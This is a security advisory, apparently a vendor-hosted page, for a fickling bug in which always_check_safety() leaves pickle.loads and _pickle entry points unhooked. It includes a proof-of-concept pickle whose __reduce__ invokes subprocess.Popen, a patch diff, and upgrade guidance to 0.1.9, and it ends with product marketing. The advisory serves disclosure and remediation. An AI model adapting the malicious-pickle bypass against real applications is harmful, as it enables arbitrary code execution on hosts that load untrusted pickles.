Summary
Fickling has alwayschecksafety() bypass: pickle.loads and _pickle.loads remain unhooked
Assessment
The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.
Original report
fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.
Affected versions
<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)
Non-duplication check against published Fickling GHSAs
No published advisory covers hook-coverage bypass in run_hook().
Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.
Root cause
run_hook() patches only:
pickle.loadpickle.Unpickler_pickle.Unpickler
It does not patch:
pickle.loads_pickle.load_pickle.loads
Reproduction (clean upstream)
import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError
class Payload:
def __reduce__(self):
import subprocess
return (subprocess.Popen, (['echo','BYPASS'],))
data = pickle.dumps(Payload())
fickling.always_check_safety()
# Bypass path
with patch('subprocess.Popen') as popen_mock:
pickle.loads(data)
print('bypass sink called?', popen_mock.called) # True
# Control path is blocked
with patch('subprocess.Popen') as popen_mock:
try:
pickle.load(io.BytesIO(data))
except UnsafeFileError:
pass
print('blocked sink called?', popen_mock.called) # False
Observed on vulnerable code:
pickle.loadsexecutes payloadpickle.loadis blocked
Minimal patch diff
--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
def run_hook():
- pickle.load = loader.load
+ pickle.load = loader.load
+ _pickle.load = loader.load
+ pickle.loads = loader.loads
+ _pickle.loads = loader.loads
Validation after patch
pickle.loads,_pickle.loads, and_pickle.loadall raiseUnsafeFileError- sink not called in any path
Regression tests added locally:
test_run_hook_blocks_pickle_loadstest_run_hook_blocks__pickle_load_and_loads
intest/test_security_regressions_20260303.py
Impact
High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is GHSA-WCCX-J62J-R448? GHSA-WCCX-J62J-R448 is a high-severity security vulnerability in fickling (pip), affecting versions <= 0.1.8. It is fixed in 0.1.9.
- Which versions of fickling are affected by GHSA-WCCX-J62J-R448? fickling (pip) versions <= 0.1.8 is affected.
- Is there a fix for GHSA-WCCX-J62J-R448? Yes. GHSA-WCCX-J62J-R448 is fixed in 0.1.9. Upgrade to this version or later.
- Is GHSA-WCCX-J62J-R448 exploitable, and should I be worried? Whether GHSA-WCCX-J62J-R448 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-WCCX-J62J-R448 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-WCCX-J62J-R448? Upgrade
ficklingto 0.1.9 or later.